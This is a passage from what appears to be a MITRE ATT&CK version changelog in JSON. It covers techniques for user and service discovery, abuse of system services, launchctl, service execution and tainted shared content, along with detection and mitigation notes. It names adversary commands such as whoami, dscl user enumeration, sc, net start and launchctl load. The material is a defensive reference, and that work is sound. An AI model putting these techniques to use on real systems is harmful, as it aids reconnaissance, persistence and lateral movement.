\"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to identify the primary user, current1Adversaries may attempt to identify the primary user, curren
>tly logged in user, set of users that commonly uses a system>tly logged in user, set of users that commonly uses a system
>, or whether a user is actively using the system. They may d>, or whether a user is actively using the system. They may d
>o this, for example, by retrieving account usernames or by u>o this, for example, by retrieving account usernames or by u
>sing [OS Credential Dumping](https://attack.mitre.org/techni>sing [OS Credential Dumping](https://attack.mitre.org/techni
>ques/T1003). The information may be collected in a number of>ques/T1003). The information may be collected in a number of
> different ways using other Discovery techniques, because us> different ways using other Discovery techniques, because us
>er and username details are prevalent throughout a system an>er and username details are prevalent throughout a system an
>d include running process ownership, file/directory ownershi>d include running process ownership, file/directory ownershi
>p, session information, and system logs. Adversaries may use>p, session information, and system logs. Adversaries may use
> the information from [System Owner/User Discovery](https://> the information from [System Owner/User Discovery](https://
>attack.mitre.org/techniques/T1033) during automated discover>attack.mitre.org/techniques/T1033) during automated discover
>y to shape follow-on behaviors, including whether or not the>y to shape follow-on behaviors, including whether or not the
> adversary fully infects the target and/or attempts specific> adversary fully infects the target and/or attempts specific
> actions.  Utilities and commands that acquire this informat> actions.  Various utilities and commands may acquire this i
>ion include <code>whoami</code>. In Mac and Linux, the curre>nformation, including <code>whoami</code>. In macOS and Linu
>ntly logged in user can be identified with <code>w</code> an>x, the currently logged in user can be identified with <code
>d <code>who</code>.>>w</code> and <code>who</code>. On macOS the <code>dscl . li
 >st /Users | grep -v '_'</code> command can also be used to e
 >numerate user accounts. Environment variables, such as <code
 >>%USERNAME%</code> and <code>$USER</code>, may also be used 
 >to access this information.
", "changelog_mitigations": { "shared": [ "T1033: System Owner/User Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:21.315000+00:00", "modified": "2021-10-17 14:10:36.992000+00:00", "name": "System Service Discovery", "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1007", "external_id": "T1007" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/574.html", "external_id": "CAPEC-574" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows", "macOS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:10:36.992000+00:00\", \"old_value\": \"2020-03-15 01:05:08.805000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"macOS\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "T1007: System Service Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-10 18:23:06.482000+00:00", "modified": "2021-10-15 18:40:23.888000+00:00", "name": "System Services", "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1569", "external_id": "T1569" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Service: Service Creation", "File: File Modification", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM", "root" ], "x_mitre_platforms": [ "Windows", "macOS" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 18:40:23.888000+00:00\", \"old_value\": \"2020-06-08 23:28:29.250000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.\", \"old_value\": \"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse system services or daemons to execute t1Adversaries may abuse system services or daemons to execute 
>commands or programs. Adversaries can execute malicious cont>commands or programs. Adversaries can execute malicious cont
>ent by interacting with or creating services. Many services >ent by interacting with or creating services either locally 
>are set to run at boot, which can aid in achieving persisten>or remotely. Many services are set to run at boot, which can
>ce ([Create or Modify System Process](https://attack.mitre.o> aid in achieving persistence ([Create or Modify System Proc
>rg/techniques/T1543)), but adversaries can also abuse servic>ess](https://attack.mitre.org/techniques/T1543)), but advers
>es for one-time or temporary execution.>aries can also abuse services for one-time or temporary exec
 >ution.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1026: Privileged Account Management" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-10 18:26:56.187000+00:00", "modified": "2021-10-15 18:40:23.141000+00:00", "name": "Launchctl", "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1569/001", "external_id": "T1569.001" }, { "source_name": "Launchctl Man", "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.", "url": "https://ss64.com/osx/launchctl.html" }, { "source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Service: Service Creation", "File: File Modification" ], "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 18:40:23.141000+00:00\", \"old_value\": \"2020-06-08 23:28:29.079000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\\n\\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \\\"%s/Library/LaunchAgents/%s\\\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\\n\", \"old_value\": \"Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\\n\\nBy loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)\\n\\nRunning a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \\\"arg\\\" \\\"arg\\\" \\\"arg\\\". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,3 @@\\n-Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\\n+Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\\n \\n-By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)\\n-\\n-Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \\\"arg\\\" \\\"arg\\\" \\\"arg\\\". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.\\n+Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \\\"%s/Library/LaunchAgents/%s\\\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n\\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n\\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\", \"old_value\": \"KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\\n+Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \\n+\\n+Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \\n+\\n+When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"20 macOS Common Tools and Techniques\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"url\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse launchctl to execute commands or progrt1Adversaries may abuse launchctl to execute commands or progr
>ams. Launchctl controls the macOS launchd process, which han>ams. Launchctl interfaces with launchd, the service manageme
>dles things like [Launch Agent](https://attack.mitre.org/tec>nt framework for macOS. Launchctl supports taking subcommand
>hniques/T1543/001)s and [Launch Daemon](https://attack.mitre>s on the command-line, interactively, or even redirected fro
>.org/techniques/T1543/004)s, but can execute other commands >m standard input.(Citation: Launchctl Man)  Adversaries use 
>or programs itself. Launchctl supports taking subcommands on>launchctl to execute commands and programs as [Launch Agent]
> the command-line, interactively, or even redirected from st>(https://attack.mitre.org/techniques/T1543/001)s or [Launch 
>andard input.(Citation: Launchctl Man)  By loading or reload>Daemon](https://attack.mitre.org/techniques/T1543/004)s. Com
>ing [Launch Agent](https://attack.mitre.org/techniques/T1543>mon subcommands include: <code>launchctl load</code>,<code>l
>/001)s or [Launch Daemon](https://attack.mitre.org/technique>aunchctl unload</code>, and <code>launchctl start</code>. Ad
>s/T1543/004)s, adversaries can install persistence or execut>versaries can use scripts or manually run the commands <code
>e changes they made.(Citation: Sofacy Komplex Trojan)  Runni>>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <c
>ng a command from launchctl is as simple as <code>launchctl >ode>/bin/launchctl load</code> to execute [Launch Agent](htt
>submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"ar>ps://attack.mitre.org/techniques/T1543/001)s or [Launch Daem
>g\" \"arg\"</code>. Adversaries can abuse this functionality to>on](https://attack.mitre.org/techniques/T1543/004)s.(Citatio
> execute code or even bypass application control if launchct>n: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools an
>l is an allowed process.>d Techniques) 
", "changelog_mitigations": { "shared": [ "M1018: User Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-10 18:33:36.159000+00:00", "modified": "2021-08-30 17:42:40.945000+00:00", "name": "Service Execution", "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1569/002", "external_id": "T1569.002" }, { "source_name": "Microsoft Service Control Manager", "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.", "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager" }, { "source_name": "Russinovich Sysinternals", "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-30 17:42:40.945000+00:00\", \"old_value\": \"2020-03-28 18:52:02.384000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\\n\\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\\n\\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.\", \"old_value\": \"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\\n\\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\\n\\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\\n \\n-[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\\n+[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\\n \\n Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the Windows service control manager tot1Adversaries may abuse the Windows service control manager to
> execute malicious commands or payloads. The Windows service> execute malicious commands or payloads. The Windows service
> control manager (<code>services.exe</code>) is an interface> control manager (<code>services.exe</code>) is an interface
> to manage and manipulate services.(Citation: Microsoft Serv> to manage and manipulate services.(Citation: Microsoft Serv
>ice Control Manager) The service control manager is accessib>ice Control Manager) The service control manager is accessib
>le to users via GUI components as well as system utilities s>le to users via GUI components as well as system utilities s
>uch as <code>sc.exe</code> and [Net](https://attack.mitre.or>uch as <code>sc.exe</code> and [Net](https://attack.mitre.or
>g/software/S0039).  [PsExec](https://attack.mitre.org/softwa>g/software/S0039).  [PsExec](https://attack.mitre.org/softwa
>re/S0029) can also be used to execute commands or payloads v>re/S0029) can also be used to execute commands or payloads v
>ia a temporary Windows service created through the service c>ia a temporary Windows service created through the service c
>ontrol manager API.(Citation: Russinovich Sysinternals)  Adv>ontrol manager API.(Citation: Russinovich Sysinternals) Tool
>ersaries may leverage these mechanisms to execute malicious >s such as [PsExec](https://attack.mitre.org/software/S0029) 
>content. This can be done by either executing a new or modif>and <code>sc.exe</code> can accept remote servers as argumen
>ied service. This technique is the execution used in conjunc>ts and may be used to conduct remote execution.  Adversaries
>tion with [Windows Service](https://attack.mitre.org/techniq> may leverage these mechanisms to execute malicious content.
>ues/T1543/003) during service persistence or privilege escal> This can be done by either executing a new or modified serv
>ation.>ice. This technique is the execution used in conjunction wit
 >h [Windows Service](https://attack.mitre.org/techniques/T154
 >3/003) during service persistence or privilege escalation.
", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1026: Privileged Account Management" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:01.759000+00:00", "modified": "2021-10-17 14:12:33.188000+00:00", "name": "Taint Shared Content", "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1080", "external_id": "T1080" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/562.html", "external_id": "CAPEC-562" }, { "source_name": "Retwin Directory Share Pivot", "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Michal Dida, ESET", "David Routin" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "File: File Modification", "Network Share: Network Share Access" ], "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Office 365", "SaaS", "Linux", "macOS" ], "x_mitre_system_requirements": [ "Access to shared folders and content with write permissions" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:12:33.188000+00:00\", \"old_value\": \"2020-03-31 22:14:56.107000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"SaaS\", \"root['x_mitre_platforms'][3]\": \"Linux\", \"root['x_mitre_platforms'][4]\": \"macOS\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1038: Execution Prevention", "M1050: Exploit Protection", "T1080: Taint Shared Content Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", 